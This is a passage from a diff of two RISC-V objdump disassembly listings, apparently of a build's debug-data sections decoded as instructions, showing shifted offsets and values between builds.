+    1434:	dc2c                	sw	a1,120(s0)
+    1436:	0016                	c.slli	zero,0x5
+    1438:	0500                	addi	s0,sp,640
+    143a:	6d31                	lui	s10,0xc
+    143c:	00000033          	add	zero,zero,zero
+    1440:	0004                	0x4
+    1442:	0500                	addi	s0,sp,640
+    1444:	5b29                	li	s6,-22
+    1446:	003e                	c.slli	zero,0xf
+    1448:	0500                	addi	s0,sp,640
+    144a:	4e2e                	lw	t3,200(sp)
+    144c:	00000097          	auipc	ra,0x0
+    1450:	0004                	0x4
+    1452:	0500                	addi	s0,sp,640
+    1454:	0016ee13          	ori	t3,a3,1
+    1458:	0500                	addi	s0,sp,640
+    145a:	0050f517          	auipc	a0,0x50f
+    145e:	0500                	addi	s0,sp,640
+    1460:	911f 0083 0500      	0x5000083911f
+    1466:	004c9723          	sh	tp,14(s9)
+    146a:	0500                	addi	s0,sp,640
+    146c:	fb25                	bnez	a4,13dc <__stack_size+0xbdc>
+    146e:	0049                	c.nop	18
+    1470:	0500                	addi	s0,sp,640
+    1472:	4a2e                	lw	s4,200(sp)
+    1474:	0038                	addi	a4,sp,8
+    1476:	0500                	addi	s0,sp,640
+    1478:	9030                	0x9030
+    147a:	0028                	addi	a0,sp,8
+    147c:	0500                	addi	s0,sp,640
+    147e:	0d31                	addi	s10,s10,12
+    1480:	0036                	c.slli	zero,0xd
+    1482:	0500                	addi	s0,sp,640
+    1484:	8232                	mv	tp,a2
+    1486:	000e                	c.slli	zero,0x3
+    1488:	0500                	addi	s0,sp,640
+    148a:	0063f833          	and	a6,t2,t1
+    148e:	0000                	unimp
+    1490:	0004                	0x4
+    1492:	0500                	addi	s0,sp,640
+    1494:	0007c533          	xor	a0,a5,zero
+    1498:	0500                	addi	s0,sp,640
+    149a:	1234                	addi	a3,sp,296
+    149c:	0008                	0x8
+    149e:	0500                	addi	s0,sp,640
+    14a0:	4a38                	lw	a4,80(a2)
+    14a2:	007a                	c.slli	zero,0x1e
+    14a4:	0500                	addi	s0,sp,640
+    14a6:	3e3d                	jal	fe4 <__stack_size+0x7e4>
+    14a8:	0039                	c.nop	14
+    14aa:	0500                	addi	s0,sp,640
+    14ac:	3b48                	fld	fa0,176(a4)
+    14ae:	0084                	addi	s1,sp,64
+    14b0:	0500                	addi	s0,sp,640
+    14b2:	ea4c                	fsw	fa1,20(a2)
+    14b4:	007d                	c.nop	31
+    14b6:	0500                	addi	s0,sp,640
+    14b8:	1350                	addi	a2,sp,420
+    14ba:	006e                	c.slli	zero,0x1b
+    14bc:	0500                	addi	s0,sp,640
+    14be:	6354                	flw	fa3,4(a4)
+    14c0:	007c                	addi	a5,sp,12
+    14c2:	0500                	addi	s0,sp,640
+    14c4:	f956                	fsw	fs5,176(sp)
+    14c6:	05000033          	0x5000033
+    14ca:	c162                	sw	s8,128(sp)
+    14cc:	05000037          	lui	zero,0x5000
+    14d0:	000b8367          	jalr	t1,s7
+    14d4:	0500                	addi	s0,sp,640
+    14d6:	e16c                	fsw	fa1,68(a0)
+    14d8:	0068                	addi	a0,sp,12
+    14da:	0500                	addi	s0,sp,640
+    14dc:	5b6d                	li	s6,-5
+    14de:	006e                	c.slli	zero,0x1b
+    14e0:	0500                	addi	s0,sp,640
+    14e2:	0978                	addi	a4,sp,156
+    14e4:	0076                	c.slli	zero,0x1d
+    14e6:	0500                	addi	s0,sp,640
+    14e8:	007c                	addi	a5,sp,12
+    14ea:	0500005b          	0x500005b
+    14ee:	0182                	c.slli64	gp
+    14f0:	1e8e                	slli	t4,t4,0x23
+    14f2:	0000                	unimp
+    14f4:	8705                	srai	a4,a4,0x1
+    14f6:	8201                	c.srli64	a2
+    14f8:	0500001b          	0x500001b
+    14fc:	018c                	addi	a1,sp,192
+    14fe:	1159                	addi	sp,sp,-10
     1500:	0000                	unimp
-    1502:	8705                	srai	a4,a4,0x1
-    1504:	4901                	li	s2,0
-    1506:	001c                	0x1c
+    1502:	9e05                	0x9e05
+    1504:	9a01                	andi	a2,a2,-32
+    1506:	0084                	addi	s1,sp,64
     1508:	0500                	addi	s0,sp,640
-    150a:	018c                	addi	a1,sp,192
-    150c:	11c5                	addi	gp,gp,-15
-    150e:	0000                	unimp
-    1510:	9e05                	0x9e05
-    1512:	1401                	addi	s0,s0,-32
-    1514:	0084                	addi	s1,sp,64
+    150a:	01a2                	slli	gp,gp,0x8
+    150c:	00003efb          	0x3efb
+    1510:	a605                	j	1830 <__stack_size+0x1030>
+    1512:	d301                	beqz	a4,1412 <__stack_size+0xc12>
+    1514:	0082                	c.slli64	ra
     1516:	0500                	addi	s0,sp,640
-    1518:	01a2                	slli	gp,gp,0x8
-    151a:	3df0                	fld	fa2,248(a1)
+    1518:	01aa                	slli	gp,gp,0xa
+    151a:	722e                	flw	ft4,232(sp)
     151c:	0000                	unimp
-    151e:	a605                	j	183e <__stack_size+0x103e>
-    1520:	5001                	c.li	zero,-32
-    1522:	0082                	c.slli64	ra
+    151e:	af05                	j	1c4e <__stack_size+0x144e>
+    1520:	2901                	jal	1930 <__stack_size+0x1130>
+    1522:	0058                	addi	a4,sp,4
     1524:	0500                	addi	s0,sp,640
-    1526:	01aa                	slli	gp,gp,0xa
-    1528:	71ad                	lui	gp,0xfffeb
+    1526:	01b4                	addi	a3,sp,200
+    1528:	39f2                	fld	fs3,312(sp)
     152a:	0000                	unimp
-    152c:	af05                	j	1c5c <__stack_size+0x145c>
-    152e:	ec01                	bnez	s0,1546 <__stack_size+0xd46>
-    1530:	0056                	c.slli	zero,0x15
+    152c:	b905                	j	115c <__stack_size+0x95c>
+    152e:	4401                	li	s0,0
+    1530:	0031                	c.nop	12
     1532:	0500                	addi	s0,sp,640
-    1534:	01b4                	addi	a3,sp,200
-    1536:	38ff                	0x38ff
+    1534:	01be                	slli	gp,gp,0xf
+    1536:	67c2                	flw	fa5,16(sp)
     1538:	0000                	unimp
-    153a:	b905                	j	116a <__stack_size+0x96a>
-    153c:	5001                	c.li	zero,-32
-    153e:	0030                	addi	a2,sp,8
+    153a:	c305                	beqz	a4,155a <__stack_size+0xd5a>
+    153c:	d801                	beqz	s0,144c <__stack_size+0xc4c>
+    153e:	0032                	c.slli	zero,0xc
     1540:	0500                	addi	s0,sp,640
-    1542:	01be                	slli	gp,gp,0xf
-    1544:	6752                	flw	fa4,20(sp)
+    1542:	01c8                	addi	a0,sp,196
+    1544:	9e3d                	0x9e3d
     1546:	0000                	unimp
-    1548:	c305                	beqz	a4,1568 <__stack_size+0xd68>
-    154a:	cd01                	beqz	a0,1562 <__stack_size+0xd62>
-    154c:	0031                	c.nop	12
+    1548:	c905                	beqz	a0,1578 <__stack_size+0xd78>
+    154a:	7801                	lui	a6,0xfffe0
+    154c:	004c                	addi	a1,sp,4
     154e:	0500                	addi	s0,sp,640
-    1550:	01c8                	addi	a0,sp,196
-    1552:	9de8                	0x9de8
+    1550:	01ce                	slli	gp,gp,0x13
+    1552:	8a80                	0x8a80
     1554:	0000                	unimp
-    1556:	c905                	beqz	a0,1586 <__stack_size+0xd86>
-    1558:	3101                	jal	1158 <__stack_size+0x958>
-    155a:	0500004b          	0x500004b
-    155e:	01ce                	slli	gp,gp,0x13
-    1560:	89dd                	andi	a1,a1,23
-    1562:	0000                	unimp
-    1564:	cf05                	beqz	a4,159c <__stack_size+0xd9c>
-    1566:	c501                	beqz	a0,156e <__stack_size+0xd6e>
-    1568:	0070                	addi	a2,sp,12
-    156a:	0500                	addi	s0,sp,640
-    156c:	01d4                	addi	a3,sp,196
-    156e:	0a81                	addi	s5,s5,0
-    1570:	0000                	unimp
-    1572:	0400                	addi	s0,sp,512
-    1574:	0000                	unimp
-    1576:	1605                	addi	a2,a2,-31
-    1578:	65ad                	lui	a1,0xb
-    157a:	0000                	unimp
-    157c:	2305                	jal	1a9c <__stack_size+0x129c>
-    157e:	00004543          	fmadd.s	fa0,ft0,ft0,ft0,rmm
-    1582:	2605                	jal	18a2 <__stack_size+0x10a2>
-    1584:	8fa9                	xor	a5,a5,a0
-    1586:	0000                	unimp
-    1588:	2705                	jal	1ca8 <__stack_size+0x14a8>
-    158a:	1a12                	slli	s4,s4,0x24
-    158c:	0000                	unimp
-    158e:	0400                	addi	s0,sp,512
-    1590:	0000                	unimp
-    1592:	2405                	jal	17b2 <__stack_size+0xfb2>
-    1594:	1129                	addi	sp,sp,-22
-    1596:	0000                	unimp
-    1598:	2505                	jal	1bb8 <__stack_size+0x13b8>
-    159a:	4a44                	lw	s1,20(a2)
-    159c:	0000                	unimp
-    159e:	2805                	jal	15ce <__stack_size+0xdce>
-    15a0:	1020                	addi	s0,sp,40
-    15a2:	0000                	unimp
-    15a4:	2b05                	jal	1ad4 <__stack_size+0x12d4>
-    15a6:	7266                	flw	ft4,120(sp)
-    15a8:	0000                	unimp
-    15aa:	2e05                	jal	18da <__stack_size+0x10da>
-    15ac:	4a2a                	lw	s4,136(sp)
-    15ae:	0000                	unimp
-    15b0:	2f05                	jal	1ce0 <__stack_size+0x14e0>
-    15b2:	85d5                	srai	a1,a1,0x15
+    1556:	cf05                	beqz	a4,158e <__stack_size+0xd8e>
+    1558:	4601                	li	a2,0
+    155a:	0071                	c.nop	28
+    155c:	0500                	addi	s0,sp,640
+    155e:	01d4                	addi	a3,sp,196
+    1560:	00000a17          	auipc	s4,0x0
+    1564:	0400                	addi	s0,sp,512
+    1566:	0000                	unimp
+    1568:	1605                	addi	a2,a2,-31
+    156a:	0000663b          	0x663b
+    156e:	2305                	jal	1a8e <__stack_size+0x128e>
+    1570:	4655                	li	a2,21
+    1572:	0000                	unimp
+    1574:	2605                	jal	1894 <__stack_size+0x1094>
+    1576:	00009063          	bnez	ra,1576 <__stack_size+0xd76>
+    157a:	2705                	jal	1c9a <__stack_size+0x149a>
+    157c:	1961                	addi	s2,s2,-8
+    157e:	0000                	unimp
+    1580:	0400                	addi	s0,sp,512
+    1582:	0000                	unimp
+    1584:	2405                	jal	17a4 <__stack_size+0xfa4>
+    1586:	10bd                	addi	ra,ra,-17
+    1588:	0000                	unimp
+    158a:	2505                	jal	1baa <__stack_size+0x13aa>
+    158c:	4b7d                	li	s6,31
+    158e:	0000                	unimp
+    1590:	2805                	jal	15c0 <__stack_size+0xdc0>
+    1592:	0fd5                	addi	t6,t6,21
+    1594:	0000                	unimp
+    1596:	2b05                	jal	1ac6 <__stack_size+0x12c6>
+    1598:	7301                	lui	t1,0xfffe0
+    159a:	0000                	unimp
+    159c:	2e05                	jal	18cc <__stack_size+0x10cc>
+    159e:	00004b63          	bltz	zero,15b4 <__stack_size+0xdb4>
+    15a2:	2f05                	jal	1cd2 <__stack_size+0x14d2>
+    15a4:	8651                	srai	a2,a2,0x14
+    15a6:	0000                	unimp
+    15a8:	ac05                	j	17d8 <__stack_size+0xfd8>
+    15aa:	c601                	beqz	a2,15b2 <__stack_size+0xdb2>
+    15ac:	0009                	c.nop	2
+    15ae:	0500                	addi	s0,sp,640
+    15b0:	01b2                	slli	gp,gp,0xc
+    15b2:	2f3a                	fld	ft10,392(sp)
     15b4:	0000                	unimp
-    15b6:	ac05                	j	17e6 <__stack_size+0xfe6>
-    15b8:	3001                	jal	db8 <__stack_size+0x5b8>
-    15ba:	000a                	c.slli	zero,0x2
-    15bc:	0500                	addi	s0,sp,640
-    15be:	01b2                	slli	gp,gp,0xc
-    15c0:	2e46                	fld	ft8,80(sp)
-    15c2:	0000                	unimp
-    15c4:	c505                	beqz	a0,15ec <__stack_size+0xdec>
-    15c6:	0c01                	addi	s8,s8,0
-    15c8:	0091                	addi	ra,ra,4
-    15ca:	0000                	unimp
-    15cc:	0004                	0x4
-    15ce:	0500                	addi	s0,sp,640
-    15d0:	5811                	li	a6,-28
-    15d2:	05000047          	0x5000047
-    15d6:	4815                	li	a6,5
-    15d8:	0065                	c.nop	25
-    15da:	0000                	unimp
-    15dc:	0004                	0x4
-    15de:	0500                	addi	s0,sp,640
-    15e0:	3f02                	fld	ft10,32(sp)
-    15e2:	05000013          	li	zero,80
-    15e6:	880e                	mv	a6,gp
-    15e8:	003a                	c.slli	zero,0xe
-    15ea:	0500                	addi	s0,sp,640
-    15ec:	0015870f          	0x15870f
-    15f0:	0500                	addi	s0,sp,640
-    15f2:	7710                	flw	fa2,40(a4)
-    15f4:	0500006b          	0x500006b
-    15f8:	8611                	srai	a2,a2,0x4
-    15fa:	0034                	addi	a3,sp,8
-    15fc:	0500                	addi	s0,sp,640
-    15fe:	bb12                	fsd	ft4,432(sp)
-    1600:	005d                	c.nop	23
-    1602:	0500                	addi	s0,sp,640
-    1604:	001b5913          	srli	s2,s6,0x1
-    1608:	0500                	addi	s0,sp,640
-    160a:	8c14                	0x8c14
-    160c:	0012                	c.slli	zero,0x4
-    160e:	0500                	addi	s0,sp,640
-    1610:	8b15                	andi	a4,a4,5
-    1612:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    1616:	7216                	flw	ft4,100(sp)
-    1618:	05000053          	0x5000053
-    161c:	001af417          	auipc	s0,0x1af
-    1620:	0500                	addi	s0,sp,640
-    1622:	3918                	fld	fa4,48(a0)
-    1624:	0026                	c.slli	zero,0x9
-    1626:	0500                	addi	s0,sp,640
-    1628:	6e19                	lui	t3,0x6
-    162a:	0029                	c.nop	10
-    162c:	0000                	unimp
-    162e:	0004                	0x4
-    1630:	0500                	addi	s0,sp,640
-    1632:	444d                	li	s0,19
-    1634:	0018                	0x18
-    1636:	0500                	addi	s0,sp,640
-    1638:	4669                	li	a2,26
-    163a:	0074                	addi	a3,sp,12
-    163c:	0500                	addi	s0,sp,640
-    163e:	0082a36f          	jal	t1,2b646 <__stack_size+0x2ae46>
-    1642:	0500                	addi	s0,sp,640
-    1644:	873401b7          	lui	gp,0x87340
+    15b6:	c505                	beqz	a0,15de <__stack_size+0xdde>
+    15b8:	c101                	beqz	a0,15b8 <__stack_size+0xdb8>
+    15ba:	0091                	addi	ra,ra,4
+    15bc:	0000                	unimp
+    15be:	0004                	0x4
+    15c0:	0500                	addi	s0,sp,640
+    15c2:	6d11                	lui	s10,0x4
+    15c4:	0048                	addi	a0,sp,4
+    15c6:	0500                	addi	s0,sp,640
+    15c8:	df15                	beqz	a4,1504 <__stack_size+0xd04>
+    15ca:	0065                	c.nop	25
+    15cc:	0000                	unimp
+    15ce:	0004                	0x4
+    15d0:	0500                	addi	s0,sp,640
+    15d2:	b102                	fsd	ft0,160(sp)
+    15d4:	0012                	c.slli	zero,0x4
+    15d6:	0500                	addi	s0,sp,640
+    15d8:	9e0e                	add	t3,t3,gp
+    15da:	0500003b          	0x500003b
+    15de:	0014e70f          	0x14e70f
+    15e2:	0500                	addi	s0,sp,640
+    15e4:	1910                	addi	a2,sp,176
+    15e6:	006c                	addi	a1,sp,12
+    15e8:	0500                	addi	s0,sp,640
+    15ea:	6611                	lui	a2,0x4
+    15ec:	0035                	c.nop	13
+    15ee:	0500                	addi	s0,sp,640
+    15f0:	c712                	sw	tp,140(sp)
+    15f2:	005e                	c.slli	zero,0x17
+    15f4:	0500                	addi	s0,sp,640
+    15f6:	001a9213          	slli	tp,s5,0x1
+    15fa:	0500                	addi	s0,sp,640
+    15fc:	fe14                	fsw	fa3,56(a2)
+    15fe:	0011                	c.nop	4
+    1600:	0500                	addi	s0,sp,640
+    1602:	1115                	addi	sp,sp,-27
+    1604:	0084                	addi	s1,sp,64
+    1606:	0500                	addi	s0,sp,640
+    1608:	c916                	sw	t0,144(sp)
+    160a:	0054                	addi	a3,sp,4
+    160c:	0500                	addi	s0,sp,640
+    160e:	001a2a17          	auipc	s4,0x1a2
+    1612:	0500                	addi	s0,sp,640
+    1614:	fd18                	fsw	fa4,56(a0)
+    1616:	0026                	c.slli	zero,0x9
+    1618:	0500                	addi	s0,sp,640
+    161a:	3a19                	jal	f30 <__stack_size+0x730>
+    161c:	002a                	c.slli	zero,0xa
+    161e:	0000                	unimp
+    1620:	0004                	0x4
+    1622:	0500                	addi	s0,sp,640
+    1624:	934d                	srli	a4,a4,0x33
+    1626:	05000017          	auipc	zero,0x5000
+    162a:	e169                	bnez	a0,16ec <__stack_size+0xeec>
+    162c:	0074                	addi	a3,sp,12
+    162e:	0500                	addi	s0,sp,640
+    1630:	0083296f          	jal	s2,33638 <__stack_size+0x32e38>
+    1634:	0500                	addi	s0,sp,640
+    1636:	87d701b7          	lui	gp,0x87d70
+    163a:	0000                	unimp
+    163c:	bd05                	j	146c <__stack_size+0xc6c>
+    163e:	2302                	fld	ft6,0(sp)
+    1640:	0500007b          	0x500007b
+    1644:	02be                	slli	t0,t0,0xf
+    1646:	9b34                	0x9b34
     1648:	0000                	unimp
-    164a:	bd05                	j	147a <__stack_size+0xc7a>
-    164c:	aa02                	fsd	ft0,272(sp)
-    164e:	007a                	c.slli	zero,0x1e
+    164a:	bf05                	j	157a <__stack_size+0xd7a>
+    164c:	6902                	flw	fs2,0(sp)
+    164e:	0054                	addi	a3,sp,4
     1650:	0500                	addi	s0,sp,640
-    1652:	02be                	slli	t0,t0,0xf
-    1654:	9aa0                	0x9aa0
+    1652:	02c0                	addi	s0,sp,324
+    1654:	5118                	lw	a4,32(a0)
     1656:	0000                	unimp
-    1658:	bf05                	j	1588 <__stack_size+0xd88>
-    165a:	1202                	slli	tp,tp,0x20
-    165c:	05000053          	0x5000053
-    1660:	02c0                	addi	s0,sp,324
-    1662:	4ff0                	lw	a2,92(a5)
+    1658:	c105                	beqz	a0,1678 <__stack_size+0xe78>
+    165a:	c302                	sw	zero,132(sp)
+    165c:	0500005b          	0x500005b
+    1660:	02c2                	slli	t0,t0,0x10
+    1662:	5d74                	lw	a3,124(a0)
     1664:	0000                	unimp
-    1666:	c105                	beqz	a0,1686 <__stack_size+0xe86>
-    1668:	a002                	fsd	ft0,0(sp)
-    166a:	005a                	c.slli	zero,0x16
+    1666:	c305                	beqz	a4,1686 <__stack_size+0xe86>
+    1668:	f302                	fsw	ft0,164(sp)
+    166a:	007a                	c.slli	zero,0x1e
     166c:	0500                	addi	s0,sp,640
-    166e:	02c2                	slli	t0,t0,0x10
-    1670:	5c6a                	lw	s8,184(sp)
+    166e:	1e1402cf          	fnmadd.q	ft5,fs0,ft1,ft3,rne
     1672:	0000                	unimp
-    1674:	c305                	beqz	a4,1694 <__stack_size+0xe94>
-    1676:	7a02                	flw	fs4,32(sp)
-    1678:	007a                	c.slli	zero,0x1e
-    167a:	0500                	addi	s0,sp,640
-    167c:	1df302cf          	0x1df302cf
+    1674:	d005                	beqz	s0,1594 <__stack_size+0xd94>
+    1676:	6602                	flw	fa2,0(sp)
+    1678:	05000013          	li	zero,80
+    167c:	02d1                	addi	t0,t0,20
+    167e:	8351                	srli	a4,a4,0x14
     1680:	0000                	unimp
-    1682:	d005                	beqz	s0,15a2 <__stack_size+0xda2>
-    1684:	1302                	slli	t1,t1,0x20
-    1686:	0014                	0x14
+    1682:	a005                	j	16a2 <__stack_size+0xea2>
+    1684:	7005                	c.lui	zero,0xfffe1
+    1686:	0061                	c.nop	24
     1688:	0500                	addi	s0,sp,640
-    168a:	02d1                	addi	t0,t0,20
-    168c:	000082cb          	fnmsub.s	ft5,ft1,ft0,ft0,rne
-    1690:	a005                	j	16b0 <__stack_size+0xeb0>
-    1692:	7305                	lui	t1,0xfffe1
-    1694:	0060                	addi	s0,sp,12
+    168a:	05bc                	addi	a5,sp,712
+    168c:	4799                	li	a5,6
+    168e:	0000                	unimp
+    1690:	bf05                	j	15c0 <__stack_size+0xdc0>
+    1692:	5405                	li	s0,-31
+    1694:	0058                	addi	a4,sp,4
     1696:	0500                	addi	s0,sp,640
-    1698:	05bc                	addi	a5,sp,712
-    169a:	467c                	lw	a5,76(a2)
+    1698:	3f8605ef          	jal	a1,61a90 <__stack_size+0x61290>
     169c:	0000                	unimp
-    169e:	bf05                	j	15ce <__stack_size+0xdce>
-    16a0:	2505                	jal	1cc0 <__stack_size+0x14c0>
-    16a2:	05000057          	0x5000057
-    16a6:	3e7b05ef          	jal	a1,b228c <__stack_size+0xb1a8c>
+    169e:	fd05                	bnez	a0,15d6 <__stack_size+0xdd6>
+    16a0:	6205                	lui	tp,0x1
+    16a2:	0002                	c.slli64	zero
+    16a4:	0500                	addi	s0,sp,640
+    16a6:	05fe                	slli	a1,a1,0x1f
+    16a8:	9544                	0x9544
     16aa:	0000                	unimp
-    16ac:	fd05                	bnez	a0,15e4 <__stack_size+0xde4>
-    16ae:	9705                	srai	a4,a4,0x21
-    16b0:	0002                	c.slli64	zero
+    16ac:	ff05                	bnez	a4,15e4 <__stack_size+0xde4>
+    16ae:	6405                	lui	s0,0x1
+    16b0:	0034                	addi	a3,sp,8
     16b2:	0500                	addi	s0,sp,640
-    16b4:	05fe                	slli	a1,a1,0x1f
-    16b6:	9495                	srai	s1,s1,0x25
+    16b4:	0680                	addi	s0,sp,832
+    16b6:	94ad                	srai	s1,s1,0x2b
     16b8:	0000                	unimp
-    16ba:	ff05                	bnez	a4,15f2 <__stack_size+0xdf2>
-    16bc:	8405                	srai	s0,s0,0x1
-    16be:	05000033          	0x5000033
-    16c2:	0680                	addi	s0,sp,832
-    16c4:	0000134f          	fnmadd.s	ft6,ft0,ft0,ft0,rtz
-    16c8:	8105                	srli	a0,a0,0x1
-    16ca:	2a06                	fld	fs4,64(sp)
-    16cc:	0048                	addi	a0,sp,4
+    16ba:	8105                	srli	a0,a0,0x1
+    16bc:	4706                	lw	a4,64(sp)
+    16be:	0049                	c.nop	18
+    16c0:	0500                	addi	s0,sp,640
+    16c2:	0682                	c.slli64	a3
+    16c4:	788d                	lui	a7,0xfffe3
+    16c6:	0000                	unimp
+    16c8:	8305                	srli	a4,a4,0x1
+    16ca:	ba06                	fsd	ft1,304(sp)
+    16cc:	001a                	c.slli	zero,0x6
     16ce:	0500                	addi	s0,sp,640
-    16d0:	0682                	c.slli64	a3
-    16d2:	77f0                	flw	fa2,108(a5)
-    16d4:	0000                	unimp
-    16d6:	8305                	srli	a4,a4,0x1
-    16d8:	8106                	mv	sp,ra
-    16da:	0500001b          	0x500001b
-    16de:	0685                	addi	a3,a3,1
-    16e0:	0000268b          	0x268b
-    16e4:	8605                	srai	a2,a2,0x1
-    16e6:	fb06                	fsw	ft1,180(sp)
-    16e8:	004e                	c.slli	zero,0x13
+    16d0:	0685                	addi	a3,a3,1
+    16d2:	0000274f          	fnmadd.s	fa4,ft0,ft0,ft0,rdn
+    16d6:	8605                	srai	a2,a2,0x1
+    16d8:	f806                	fsw	ft1,48(sp)
+    16da:	0500004f          	0x500004f
+    16de:	385f0687          	0x385f0687
+    16e2:	0000                	unimp
+    16e4:	8805                	andi	s0,s0,1
+    16e6:	5a06                	lw	s4,96(sp)
+    16e8:	005c                	addi	a5,sp,4
     16ea:	0500                	addi	s0,sp,640
-    16ec:	37910687          	0x37910687
-    16f0:	0000                	unimp
-    16f2:	8805                	andi	s0,s0,1
-    16f4:	3706                	fld	fa4,96(sp)
-    16f6:	0500005b          	0x500005b
-    16fa:	0689                	addi	a3,a3,2
-    16fc:	2592                	fld	fa1,256(sp)
+    16ec:	0689                	addi	a3,a3,2
+    16ee:	0000264b          	fnmsub.s	fa2,ft0,ft0,ft0,rdn
+    16f2:	8a05                	andi	a2,a2,1
+    16f4:	4006                	0x4006
+    16f6:	05000047          	0x5000047
+    16fa:	1e4e068b          	0x1e4e068b
     16fe:	0000                	unimp
-    1700:	8a05                	andi	a2,a2,1
-    1702:	3306                	fld	ft6,96(sp)
-    1704:	0046                	c.slli	zero,0x11
+    1700:	8c05                	sub	s0,s0,s1
+    1702:	b806                	fsd	ft1,48(sp)
+    1704:	0060                	addi	s0,sp,12
     1706:	0500                	addi	s0,sp,640
-    1708:	1e2d068b          	0x1e2d068b
+    1708:	068d                	addi	a3,a3,3
+    170a:	7ca4                	flw	fs1,120(s1)
     170c:	0000                	unimp
-    170e:	8c05                	sub	s0,s0,s1
-    1710:	bb06                	fsd	ft1,432(sp)
-    1712:	005f 0500 068d      	0x68d0500005f
-    1718:	7c31                	lui	s8,0xfffec
+    170e:	8e05                	sub	a2,a2,s1
+    1710:	6706                	flw	fa4,64(sp)
+    1712:	005f 0500 068f      	0x68f0500005f
+    1718:	1f10                	addi	a2,sp,944
     171a:	0000                	unimp
-    171c:	8e05                	sub	a2,a2,s1
-    171e:	5b06                	lw	s6,96(sp)
-    1720:	005e                	c.slli	zero,0x17
+    171c:	9005                	srli	s0,s0,0x21
+    171e:	4b06                	lw	s6,64(sp)
+    1720:	0051                	c.nop	20
     1722:	0500                	addi	s0,sp,640
-    1724:	1eda068f          	0x1eda068f
+    1724:	0691                	addi	a3,a3,4
+    1726:	6882                	flw	fa7,0(sp)
     1728:	0000                	unimp
-    172a:	9005                	srli	s0,s0,0x21
-    172c:	2306                	fld	ft6,64(sp)
-    172e:	0050                	addi	a2,sp,4
-    1730:	0500                	addi	s0,sp,640
-    1732:	0691                	addi	a3,a3,4
-    1734:	67c5                	lui	a5,0x11
+    172a:	9205                	srli	a2,a2,0x21
+    172c:	d206                	sw	ra,36(sp)
+    172e:	05000013          	li	zero,80
+    1732:	9c250693          	addi	a3,a0,-1598 # 50fe1c <__stack_size+0x50f61c>
     1736:	0000                	unimp
-    1738:	9205                	srli	a2,a2,0x21
-    173a:	6b06                	flw	fs6,64(sp)
-    173c:	0014                	0x14
+    1738:	9405                	srai	s0,s0,0x21
+    173a:	e206                	fsw	ft1,4(sp)
+    173c:	0051                	c.nop	20
     173e:	0500                	addi	s0,sp,640
-    1740:	9ba80693          	addi	a3,a6,-1606 # fffdf9ba <_heap_end+0x7ffd11ba>
+    1740:	0695                	addi	a3,a3,5
+    1742:	8dca                	mv	s11,s2
     1744:	0000                	unimp
-    1746:	9405                	srai	s0,s0,0x21
-    1748:	ba06                	fsd	ft1,304(sp)
-    174a:	0050                	addi	a2,sp,4
+    1746:	9605                	srai	a2,a2,0x21
+    1748:	0b06                	slli	s6,s6,0x1
+    174a:	0019                	c.nop	6
     174c:	0500                	addi	s0,sp,640
-    174e:	0695                	addi	a3,a3,5
-    1750:	00008d17          	auipc	s10,0x8
-    1754:	9605                	srai	a2,a2,0x21
-    1756:	bc06                	fsd	ft1,56(sp)
-    1758:	0019                	c.nop	6
+    174e:	2cf30697          	auipc	a3,0x2cf30
+    1752:	0000                	unimp
+    1754:	9805                	andi	s0,s0,-31
+    1756:	7506                	flw	fa0,96(sp)
+    1758:	0065                	c.nop	25
     175a:	0500                	addi	s0,sp,640
-    175c:	2c280697          	auipc	a3,0x2c280
-    1760:	0000                	unimp
-    1762:	9805                	andi	s0,s0,-31
-    1764:	b206                	fsd	ft1,288(sp)
-    1766:	0064                	addi	s1,sp,12
+    175c:	0699                	addi	a3,a3,6
+    175e:	00000d9b          	0xd9b
+    1762:	9a05                	andi	a2,a2,-31
+    1764:	5106                	lw	sp,96(sp)
+    1766:	0001                	nop
     1768:	0500                	addi	s0,sp,640
-    176a:	0699                	addi	a3,a3,6
-    176c:	0de1                	addi	s11,s11,24
+    176a:	6cea069b          	0x6cea069b
     176e:	0000                	unimp
-    1770:	9a05                	andi	a2,a2,-31
-    1772:	7c06                	flw	fs8,96(sp)
-    1774:	0001                	nop
-    1776:	0500                	addi	s0,sp,640
-    1778:	6c4c069b          	0x6c4c069b
+    1770:	9c05                	0x9c05
+    1772:	fb06                	fsw	ft1,180(sp)
+    1774:	05000047          	0x5000047
+    1778:	06a0                	addi	s0,sp,840
+    177a:	34d0                	fld	fa2,168(s1)
     177c:	0000                	unimp
-    177e:	9c05                	0x9c05
-    1780:	de06                	sw	ra,60(sp)
-    1782:	0046                	c.slli	zero,0x11
+    177e:	a805                	j	17ae <__stack_size+0xfae>
+    1780:	2306                	fld	ft6,64(sp)
+    1782:	004e                	c.slli	zero,0x13
     1784:	0500                	addi	s0,sp,640
-    1786:	06a0                	addi	s0,sp,840
-    1788:	33f0                	fld	fa2,224(a5)
+    1786:	06b0                	addi	a2,sp,840
+    1788:	82e4                	0x82e4
     178a:	0000                	unimp
-    178c:	a805                	j	17bc <__stack_size+0xfbc>
-    178e:	1006                	c.slli	zero,0x21
-    1790:	004d                	c.nop	19
+    178c:	c005                	beqz	s0,17ac <__stack_size+0xfac>
+    178e:	cf06                	sw	ra,156(sp)
+    1790:	0051                	c.nop	20
     1792:	0500                	addi	s0,sp,640
-    1794:	06b0                	addi	a2,sp,840
-    1796:	7765                	lui	a4,0xffff9
+    1794:	090c06c3          	fmadd.s	fa3,fs8,fa6,ft1,rne
     1798:	0000                	unimp
-    179a:	c005                	beqz	s0,17ba <__stack_size+0xfba>
-    179c:	a706                	fsd	ft1,392(sp)
-    179e:	0050                	addi	a2,sp,4
-    17a0:	0500                	addi	s0,sp,640
-    17a2:	096006c3          	fmadd.s	fa3,ft0,fs6,ft1,rne
-    17a6:	0000                	unimp
-    17a8:	c905                	beqz	a0,17d8 <__stack_size+0xfd8>
-    17aa:	2106                	fld	ft2,64(sp)
-    17ac:	0059                	c.nop	22
-    17ae:	0000                	unimp
-    17b0:	0004                	0x4
-    17b2:	0500                	addi	s0,sp,640
-    17b4:	e90e                	fsw	ft3,144(sp)
-    17b6:	003a                	c.slli	zero,0xe
-    17b8:	0500                	addi	s0,sp,640
-    17ba:	0070210f          	0x70210f
-    17be:	0000                	unimp
-    17c0:	0004                	0x4
+    179a:	c905                	beqz	a0,17ca <__stack_size+0xfca>
+    179c:	5006                	0x5006
+    179e:	005a                	c.slli	zero,0x16
+    17a0:	0000                	unimp
+    17a2:	0004                	0x4
+    17a4:	0500                	addi	s0,sp,640
+    17a6:	ff0e                	fsw	ft3,188(sp)
+    17a8:	0500003b          	0x500003b
+    17ac:	0070a20f          	0x70a20f
+    17b0:	0000                	unimp
+    17b2:	0004                	0x4
